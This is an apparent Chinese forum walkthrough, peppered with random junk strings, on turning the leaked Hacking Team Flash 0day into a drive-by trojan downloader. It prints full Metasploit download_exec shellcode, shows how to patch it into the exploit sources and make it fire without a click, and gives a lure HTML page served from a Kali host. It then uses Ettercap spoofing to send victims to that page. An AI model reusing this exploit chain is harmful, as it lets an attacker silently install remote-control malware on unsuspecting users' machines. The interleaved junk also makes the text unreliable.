|
- _4 o2 u8 v& D. R
三、flash 0day之手工代码修改制作下载者实例入侵演示 5 ]' R" w, Q& C8 U1 H
& \; [% Q: \1 T0 u3 }* e* W
! X% K U+ \- U% J6 B2 I# ? 利用到的工具:
* Y2 t! g; x' I5 E ! A9 x1 Z- {' C' R$ u u
; A: F5 h& ]: I- D Msf 7 F8 ]: _4 E. R& q! ?4 K6 s S- V/ ?
% u$ [- S. g2 J, ?3 G
: a4 n. ?: I6 A0 y( p5 T Ettercap 5 e. \ T2 U* K8 s
, W9 B' S* I0 w
. N! ]% M. ~1 ~8 w# c7 S+ W
Adobe Flash CS6
- }1 n P9 Y, j
/ \5 @! F; N4 ^- ?; p
( ]# M2 y) ?+ z7 S t% L Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
& {* i! C( X$ x M* k9 ^2 O
: c: Y1 O% [/ m
% x! C, i% k3 A! G9 d5 M( q1 P 下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options " F$ \; a" o3 t# C
. m7 B! w% L$ S/ d: h' v
& g3 _: @# U9 G! v
如图: ) \3 h4 ?( q- Z
6 O8 w$ {! y1 v6 V6 e8 b7 W9 h
3 \6 u6 w8 k5 H# z! |& Y; t1 z4 [ . `# T/ C& j% g* i( S, o- E
5 P4 k/ ~6 H: }" A- t/ J% S! d- ^0 b. Q+ b3 V! E
. Y: k6 r$ G A. I" x+ k# v& [( B
4 r2 k' a/ x' G: t6 d. e# l: s1 E5 T
然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
2 E8 s. V2 G4 n% F6 {2 x' Z
6 A; b% c6 j( R+ r+ `9 D8 C0 b$ }8 p1 e# u/ f
; i W, B! h' P& ^: }2 r
5 F9 ?& Q" f* m5 W) \9 F1 T
m( d% e/ Q! V3 H' H* l7 ~
8 H: m1 }# J/ R" F- ^. j$ t! F. c . F1 _0 ?" U' C5 [% D2 Z8 ^3 R" ~# I% g
( Y" }' j- i/ U- b$ G4 P 然后执行generate -t dword生成shellcode,如下: 7 h$ r/ Q0 V) t5 \
; L2 ?; q) [+ \4 Z+ X/ q* N0 G
9 j* M+ B7 x- Z. V7 |9 O
: X6 L- g6 _( R. [6 @
/ |/ ^* m S4 a$ S u
- \& T5 g8 ~4 v 复制代码到文本下便于我们一会编辑flash exp,如下: + m) N; v* M! a0 `3 O3 J
: Z' E7 L. S" E8 m6 A. G. n6 p
) t! |% x- y) J' r7 L( Y; r
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
0 I" O8 k$ y# O0 c1 H4 T0 e 8 l, u. }6 b2 j o7 J* N' G
\0 H) i4 h" ?( r 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,
3 Z8 y$ B) s/ f
: f6 a1 w1 w/ S+ o
( s8 F8 j j3 P; k0 S% s 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, $ T% C9 u* p: m& [. |! r u& }* l
% B2 T: l: w! u v _2 K' P: I
' Z8 t, p9 ?1 g6 z4 _ 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,
! ?. u7 L X# d4 f1 X ' e8 E" H- {7 K8 R8 O5 e l
7 D, p [1 b3 z
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, . l8 k, [+ p2 I7 T. ~1 v# N* T
& O/ @. X/ n4 E+ ?; Z$ s
T9 A( R2 h, d- o! K* P" L 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
2 K: I' i1 i! G* A/ D# E9 z/ g
3 q6 H) a# [3 Z9 A/ C8 ?
7 B* d" W% n" |4 J' b 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, ) U6 g. r0 @0 P6 r7 y; f. H$ Y, H
' W% L$ }8 v5 x& d& {) N; B) ]5 S- e, K: q( G/ M: Q4 D
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, 8 T- ~6 ?# r% m5 X- @2 B
/ q# W5 k+ H5 \$ J$ n E! Y
# t% I; o& J5 ~' F9 f0 s
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, 2 E4 h+ O: P8 S1 \. \8 m, \$ z2 C& g
% x- ?" J# h; M; ^: \* J& q
) O. ^" B) ~: ` f7 ^/ V, o- g. G
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
/ v( A3 d W: I . Q3 H6 v+ [5 y' @. X# j. y( I* B
& k( ?- X% _3 i3 r$ s. A# j" H# ^
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,
# V2 g g2 N9 F# O1 z: U1 B B 1 Y7 n5 o% A. ^5 S8 L
7 @! }$ s$ H u0 v" Q ? 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, 4 ?9 ~7 s' t2 f/ S
1 J0 F, q+ a( [( \9 {% k
+ z6 r' U1 m7 o. N, I' m
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973,
7 l f1 J3 s3 z# f
( h. k$ a p8 Z6 R2 D D& O( |
! {" T$ L3 `/ m0 P9 R 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 . T. p' D O- J: x, s& F
( [, }% o3 A% f( _. N4 z, [4 r: h+ Y8 g2 h
# n; x$ s. @8 I; ^4 u& `7 ]
, B7 b8 K/ f4 W7 Y6 W: D# r" B1 r
# V$ O: n1 r$ {$ e
, ~& U4 L! [& a% X& T& Y
2 V; y: \6 e" X* n
6 Q! `0 }! i7 M2 E
下面我们来修改flash 0day exp,需要修改三个文件,分别为: ) r( r2 m/ N6 a2 C$ ^: h8 z
( e L$ v$ @/ s* H7 F
/ L/ w/ g0 w) f0 x) t1 I
3 g# }( H5 }& E$ r* l) U
" u& f* l2 @& @7 u
" T2 j! x3 I: r$ J" r 先修改ShellWin32.as,部分源代码如图: E9 A! a& _$ Z$ v; m9 w' _1 ~
& @7 k: i; D3 j5 w+ b. A% u
$ h0 P8 A# w% W9 ~
! k7 R9 o$ C2 C! T4 U) x( @
* j+ }& }$ x- {, n) ]* ^# e% s8 V) T* m
我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下:
: y0 v. R! U) \/ [; o* t . E$ S0 l8 e' Q* b/ ?. n
9 D5 X+ T! `, e U6 S. E. [& L
4 z, n, r' Y& }5 r- i5 d ( v' Y$ \: S) ^3 O5 W
7 B! [/ E' m! _9 o
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图:
- [' g, ~# K% a) C
+ d; t6 C! `) H% Y" H' n6 D) { W$ F
- Z4 _' e6 e2 E1 U
- K1 x0 x0 q3 v; P7 W7 ~+ p6 K
" P: x3 V0 Y. k$ l# q4 q% C5 K8 K$ ^ 换行在后面加一句TryExpl();注意是l不是数字1,然后如图:
; c B+ S, W! t/ S
! Y; `6 G+ G) F6 o% m9 Y& i2 N; m1 {) p6 r0 y
4 K- O9 d& M$ d$ k8 J p ; c$ f# ?) G A# ~, k* v. O5 Y
) v. O2 M5 j4 ?( u& e2 U+ ]
0 J; O2 Z+ d3 @( {1 P
( d5 b8 q* k/ g6 Z4 I
- o6 O! y9 @$ E ; K" P- k0 \' d( g7 w0 t+ @; o
+ j- ]7 }. \% I& Z$ u* l3 B2 e; G9 y7 F- Z8 u2 {/ {
然后点保存,下面我们来编译一下,打开
0 e/ h+ P1 K8 s' x! Z ; v9 v4 V2 Z# {$ C; f- d
}* N; p9 z- f7 `+ s+ J. \, K0 k
exp1.fla然后点文件-发布,看看编译没错误
, _" _' b! D6 M% H9 h# L% G( ^
2 d& u3 z- ]0 C1 T% F$ ?3 S, S' F7 D- J) z+ I7 z
8 n1 C$ A- q/ F
( H- e& J8 t5 C
9 H! o$ ~4 ?3 v* D5 Q
) I- V7 y- F% @ 6 }- w) q. K/ I3 ^
0 B1 J7 \- w6 ?9 Z# X C
. B8 }- |& i- n9 P, {! Y$ k/ ?
0 f& C* s# K$ R; N6 k0 }9 K1 h9 t% Q3 R2 d
" [6 c3 C& A+ G3 w7 O. c- R
, o E. [1 O5 b: m( Z* d- E& R
) N3 q& @; O9 o& c& v/ v 然后我们把生成的 " f3 c: L( N8 q7 H. J p: E
9 Z) h7 v' g5 V. ]
4 O( \9 f" v+ Z" P
exp1.swf丢到kailinux 的/var/www/html下:
4 d" z" }- R/ K9 f9 i0 v 6 M* P( l0 i3 L$ y9 `+ g/ J
3 J( O8 }6 e! N3 p: o
然后把这段代码好好编辑一下
7 z# G: k0 o+ ?7 W
: z6 d9 T3 ^0 e' S3 h
+ |+ L. r. J9 ?* O! q
! a" d Y4 |5 l : j4 Q8 E1 D! B/ F {
; Y/ K" V& b ] * z) f$ C6 _& Z% s
* S; y) z1 r( N2 j s) X8 q) ^
' y0 {5 l* \; G $ `/ o+ S& u0 I2 G+ R5 \
- Q* l2 u3 Y9 X/ n0 J0 v
' z- K( J( y' e& `% i O
9 Z( i# c, X$ o, o1 G% ?( D6 ?
% X9 Z+ m" ^: ?0 {; y
1 K% M9 {# r$ ~: V3 p7 h4 t) B
$ ^3 C1 K% X7 P
. n& a5 w! _" ?5 M7 e- F2 ]- H1 G2 s. ?2 l
+ a6 y3 r& D! ]: _# y
) r) h/ T& ^) d* l- G, E4 T( Y. Q1 O, I* R4 {
<!DOCTYPE html> " _. a1 Z% A* Q' ?' n
2 J+ w0 u; T+ O
$ [0 n; P: q8 R3 G: L. m4 z <html> : [6 Y( c# q: a) j: k! M5 i# ~
: _. Q- A0 F0 C- \0 b7 k
' l+ O5 d/ t6 I6 n) f% r0 p <head>
: P6 q+ M/ {% D- \' n4 @8 |
% O1 a& |. X: H! f6 l: h% ^, { n' S# v0 M. i n# V
<meta http-equiv="Content-Type" content="text/html; . o! R% l9 |! B: a
6 h% _0 d0 C0 P# [
# n/ t3 J2 H7 p; z$ d% D' c% g; w charset=utf-8"/> 7 l& U5 F: j8 y
1 I/ _8 w2 X3 N" l3 g* E
& @2 b) x% A1 ^( k" E, } </head>
R4 c2 m. j* P, [) E 4 y! `7 I$ H2 d& W& f+ a
# K2 I8 X# ]* n6 Q& e0 V <body> & m7 w$ q( `$ W6 O0 x+ e
. \6 X& v z3 d# V$ u q: g
7 G$ W1 s0 O# Y u6 _4 a7 z/ @0 t& S
<h2> Please wait, the requested page is loading...</h2>
5 R' o7 l! |2 s/ B" i% Y 7 F; w* V. S }1 D7 x8 [
5 D5 n: f9 D A9 L+ p3 K
<br> ^3 S' `3 n7 J4 u
! d' _( C2 f( J; x: R& W4 {9 R) R
<OBJECT
$ g$ O8 x3 D8 u7 R+ d D
2 O7 V& D0 D* M3 Y( H2 M5 W$ E- V/ _
) M; Y6 X, ]9 l; |* B' v classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie . G8 _- W$ m. ?7 I9 E
* g) d4 c r; B3 u( v
8 _5 s# p1 ~: X- a! p! I4 T! ] VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
! [; i( ^0 C2 o ; t" Q. U( j/ g
4 y' |* w5 J: X0 G4 h </body>
( R7 Q# M6 v0 d! s" b. l( m $ O5 r% ~6 {9 w' u
- z/ S5 |, h& \
<script> ! r( n2 ?5 }1 m3 W( a6 C7 Y# y4 r
6 z; F) {* a" S' o) B. c, V# N* V& Q$ [) \. T7 T( ^$ u
setTimeout(function () { ( i1 ?. j* o0 Z" f7 `- H/ q
- S e8 v _5 t, g7 j6 W% Q4 _
$ E3 N3 [3 ^' o) ?2 @1 @# } , F' p r2 d$ `1 ~2 N1 p
" I/ N: o6 c& ~7 S5 z2 G" c% a; {- `
window.location.reload(); - ^; J. b! q `
% q' |- k7 C6 T3 h# I
, H: D9 \" [1 h1 R! i' I1 \# z8 X }, 10000);
8 `# \: z' v1 a& j; P- O7 ~0 y
) L; W4 s+ H3 u# `5 z/ s; [
7 |5 X8 c' r1 C $ C8 W- r( x2 M' e) ]9 X& W/ b' C! q
; O8 T: e2 |! Q# B! B$ \% h
/ [6 q8 M0 W/ o$ {5 b </script>
! |- M: M' d- r% B D! @ @4 s1 v1 o! F( X& @
7 P( _) w2 W, l! [ </html>
5 I3 \: B* C: G y4 E, ] r% u+ N! Q
0 s* F, Q1 R0 j" W
! F# A* F6 E$ ^* Z+ H
1 y5 l7 }0 Y6 Q& T+ f2 e' h
, l; o8 p% G8 x" U$ G" K& j8 x) M! R" Q: G: e% c) {/ S+ o
注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图: $ H. X8 E; a; L: f& `9 }
2 ~7 d) l# f: W% h" R+ V/ C
: ^0 y3 P8 X$ H
' m) ^- \/ ]2 t( v
3 G! h- ]* z( [& P+ P+ Z+ i7 U
Q/ r& u8 O4 S
; W N# U6 [: R: P3 J: W- u " P* g8 k, b* U: {& c0 M
9 }1 U- D- H' d
, [% E& m8 Y0 i% v3 \ 1 M0 ]1 t7 Y8 D
- j; w3 L- v# }% X. S" q7 F' X
. }; _; _' P2 H3 k: e. d * z$ j( H4 @1 a# F" E3 `# i7 T2 w
. O( h/ k0 m0 X, x. b( z i
5 Q6 ~ x1 [; j1 w, S& e " y! U/ {9 I3 P. O( i6 U
; m _! M! z9 I3 ~
下面我们用ettercap欺骗如图:
0 z+ x' W( {: L/ Q4 c! K' m " {/ q q( `+ a0 w5 c
/ u3 b9 L4 J; h7 V; N9 V
! r7 ~: _( H& Q6 j0 X, s- v3 h
" y! d3 W& k1 o" S1 M6 x
0 L1 i1 n0 X4 C! \$ D
2 K' n; C$ m& }" [; F - ]1 X5 q2 `9 P+ f# ]% ~0 m) j8 w7 t
9 _9 J9 }, Q7 D( V! \- |' G 下面我们随便访问个网站看看: . N2 z( P$ Q2 K0 j; _0 s% e& b9 n1 B
. ?" R0 I3 m4 @0 B' K+ k# b5 \! ]2 D. b2 y
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图:
& g& B1 j2 l* P 8 ?7 ?# y/ T3 q
1 p7 V/ u( R# s* b
8 o. F( A! n4 m
6 D3 {1 n4 P3 c5 {* c. k. F9 e1 |' P+ D: E
我们看另一台, - C. t8 t+ x% V+ _" e W
3 x) ~3 c5 i1 A' V; m0 |3 D! Y: }) {; u2 s
提示这个错误,说明木马是成功被下载执行了, 只是由于某些原因没上线而已。。。 ! Q4 g% f6 e5 n- _+ T" y) `$ c3 m
|